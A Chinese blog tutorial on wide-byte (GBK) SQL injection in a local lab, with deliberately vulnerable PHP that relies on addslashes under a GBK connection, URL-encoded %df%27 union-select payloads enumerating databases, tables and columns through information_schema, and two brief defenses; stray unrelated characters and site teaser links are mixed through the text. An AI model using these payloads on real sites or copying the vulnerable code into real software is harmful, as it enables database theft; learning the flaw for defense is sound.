sql注入之寬字節(jié)注入

寬字節(jié)注入是因?yàn)閿?shù)據(jù)庫使用了GBK編碼泌霍,不過現(xiàn)在大都使用unicode國際編碼,大多數(shù)網(wǎng)站都使用了utf-8的編碼

不過既然是sql注入的一部分教沾,也搭建環(huán)境? 做做實(shí)驗(yàn)

實(shí)驗(yàn)環(huán)境:

wamp集成包

實(shí)驗(yàn)說明:

創(chuàng)建使用GBK編碼的數(shù)據(jù)庫

實(shí)驗(yàn)步驟:

使用phpmyadmin進(jìn)行創(chuàng)建數(shù)據(jù)庫的時候蒲跨,如果不去選擇編碼格式,默認(rèn)會使用latin1_swedish_ci 格式

查了一下 授翻,和GBK類似或悲,那就這個吧。堪唐。巡语。

使用默認(rèn)編碼,創(chuàng)建數(shù)據(jù)庫后繼續(xù)創(chuàng)建表格

latin1_swedish_ci

這里需要注意的是羔杨,使用latin1_swedish_ci 格式進(jìn)行創(chuàng)建表捌臊,插入數(shù)據(jù)時

當(dāng)插入漢字的時候,提示編碼問題

難怪現(xiàn)在的大多網(wǎng)站都使用utf-8編碼

格式問題

修改字段的編碼格式?? 可插入漢字

繼續(xù)編寫php漏洞代碼

<?php

header("Content-type:text/html;charset=utf-8");

$id=@$_GET['id'];

if(isset($id)&&!empty($id)){

$id = addslashes($_GET['id']);//進(jìn)行轉(zhuǎn)義

$conn=mysql_connect('localhost','root','')? or? die? ("false");

mysql_select_db("tests",$conn);

mysql_query("set names 'gbk' ",$conn);//指明數(shù)據(jù)庫gbk處理兜材,不安全的編碼格式

$sql = "select * from test where id='".$id."'";

$result = mysql_query($sql, $conn);

while ($row=@mysql_fetch_array($result)){

echo "用戶名:".$row['name']."<hr/>";

//echo "密碼:".$row['password']."<nr/>";

}

mysql_close($conn);

print_r('執(zhí)行SQL語句:'.$sql);

}else{

echo? "id? 錯誤";

}

?>

進(jìn)行訪問 ? 注入 ? 測試

addslashes的轉(zhuǎn)義

發(fā)現(xiàn)已經(jīng)被轉(zhuǎn)義了理澎,使用%df? ' 進(jìn)行注入

?

繼續(xù)注入?? %df%27 union select? 1,2,3?? #

注意URL編碼問題

注入成功

以下為URL編碼:

%27---------單引號

%20----------空格

%23-----------#號

%5c------------/反斜杠

為什么可以注入成功?

修改一下?? header? 改為gbk

header("Content-type:text/html;charset=gbk");

再次查看

反斜杠神奇消失

為什么反斜杠變成? 運(yùn)? 這個玩意啦逞力?

id=1'---------->id=1\'--------->id=1%5c%27

id=1%df'---------id=1%df%5c%27---------->id=1%DF5C%27-------->id=1運(yùn)'

其實(shí)就是利用gbk是多字節(jié)的編碼,兩個字節(jié)代表一個漢字

%df??? %5c?? 組合出了一個? 運(yùn) 字

因此? 可以注入

success

擴(kuò)展:

爆出所有的數(shù)據(jù)庫名

payload:

id=%df%27%20union%20select%201,schema_name,3%20from%20information_schema.schemata%20limit%206,5%20%23

數(shù)據(jù)庫名

爆出數(shù)據(jù)庫中的數(shù)據(jù)表

payload:

id=%df%27%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=0x64767761%20limit%200,61%20%23

dvwa的十六進(jìn)制編碼為0x64767761

所有數(shù)據(jù)表

爆出指定數(shù)據(jù)庫的字段

payload:

id=%df%27%20union%20select%201,column_name,3%20from%20information_schema.columns%20where%20table_schema=0x64767761%20and%20table_name=0x61646D696E%20limit%200,61%20%23

爆出字段

注意使用十六進(jìn)制

table_schema=0x64767761(dvwa)? and? table_name=0x61646D696E(admin)

根據(jù)以上信息糠爬,可進(jìn)行mysql的跨庫查詢寇荧,查詢?nèi)我鈹?shù)據(jù)庫的任意信息

可查詢信息

防御:

1.使用mysql_set_charset(utf8)指定字符集

2. 使用mysql_real_escape_string進(jìn)行轉(zhuǎn)義

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市执隧,隨后出現(xiàn)的幾起案子揩抡,更是在濱河造成了極大的恐慌,老刑警劉巖镀琉,帶你破解...
    沈念sama閱讀 216,591評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件峦嗤,死亡現(xiàn)場離奇詭異,居然都是意外死亡屋摔,警方通過查閱死者的電腦和手機(jī)烁设,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,448評論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來钓试,“玉大人装黑,你說我怎么就攤上這事」” “怎么了恋谭?”我有些...
    開封第一講書人閱讀 162,823評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長挽鞠。 經(jīng)常有香客問我疚颊,道長,這世上最難降的妖魔是什么滞谢? 我笑而不...
    開封第一講書人閱讀 58,204評論 1 292
  • 正文 為了忘掉前任串稀,我火速辦了婚禮除抛,結(jié)果婚禮上狮杨,老公的妹妹穿的比我還像新娘。我一直安慰自己到忽,他們只是感情好橄教,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,228評論 6 388
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著喘漏,像睡著了一般护蝶。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上翩迈,一...
    開封第一講書人閱讀 51,190評論 1 299
  • 那天持灰,我揣著相機(jī)與錄音,去河邊找鬼负饲。 笑死堤魁,一個胖子當(dāng)著我的面吹牛喂链,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播妥泉,決...
    沈念sama閱讀 40,078評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼椭微,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了盲链?” 一聲冷哼從身側(cè)響起蝇率,我...
    開封第一講書人閱讀 38,923評論 0 274
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎刽沾,沒想到半個月后本慕,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,334評論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡侧漓,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,550評論 2 333
  • 正文 我和宋清朗相戀三年间狂,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片火架。...
    茶點(diǎn)故事閱讀 39,727評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡鉴象,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出何鸡,到底是詐尸還是另有隱情纺弊,我是刑警寧澤,帶...
    沈念sama閱讀 35,428評論 5 343
  • 正文 年R本政府宣布骡男,位于F島的核電站淆游,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏隔盛。R本人自食惡果不足惜犹菱,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,022評論 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望吮炕。 院中可真熱鬧腊脱,春花似錦、人聲如沸龙亲。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,672評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽鳄炉。三九已至杜耙,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間拂盯,已是汗流浹背佑女。 一陣腳步聲響...
    開封第一講書人閱讀 32,826評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人团驱。 一個月前我還...
    沈念sama閱讀 47,734評論 2 368
  • 正文 我出身青樓簸呈,卻偏偏與公主長得像,于是被迫代替她去往敵國和親店茶。 傳聞我的和親對象是個殘疾皇子蜕便,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,619評論 2 354

推薦閱讀更多精彩內(nèi)容

  • 0x00概述 寬字節(jié)注入主要源于程序員設(shè)置數(shù)據(jù)庫編碼與php編碼設(shè)置為不同的兩種編碼,那么就可能產(chǎn)生寬字節(jié)注入 例...
    queena_閱讀 1,280評論 0 1
  • 網(wǎng)頁出現(xiàn)亂碼的原因: 客戶端與數(shù)據(jù)庫的數(shù)據(jù)傳輸處編碼贩幻、數(shù)據(jù)庫存儲處編碼轿腺,兩者編碼不同,就會出現(xiàn)亂碼丛楚。還有一種情況族壳,...
    FKTX閱讀 2,719評論 0 0
  • 是不是每天重復(fù)做一件事,就會有惰性啊趣些。事實(shí)上仿荆,有時覺得自己的付出并沒有得到最大的回報(bào)。說實(shí)在的坏平,她對我也蠻好的拢操。可...
    憧憬幸福閱讀 621評論 0 0
  • 工具清單 1.硬紙板 2.封面紙(材質(zhì)不限,好看就行顾瞪,不過建議不要太厚舔庶,因?yàn)樵奖〉募堅(jiān)诎堑臅r候越精細(xì)) 3.扉頁...
    土土的垚閱讀 27,944評論 7 59
  • 2017-4-30害怕麻煩的人永遠(yuǎn)麻煩 觀瀾 如果說在今天這個社會,還有什么東西是人類害怕的話陈醒,那一定是麻煩惕橙。我們...
    觀瀾2017閱讀 207評論 0 0